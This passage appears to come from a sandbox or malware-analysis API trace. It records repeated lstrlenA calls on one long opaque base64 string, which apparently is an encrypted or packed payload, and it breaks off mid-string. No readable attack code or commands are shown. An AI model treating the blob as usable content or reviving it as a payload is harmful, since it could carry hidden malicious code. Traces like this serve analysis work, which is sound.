(lpString="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") returned 5792 [0128.362] lstrlenA (lpString="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") returned 5792 [0128.362] lstrlenA (lpString="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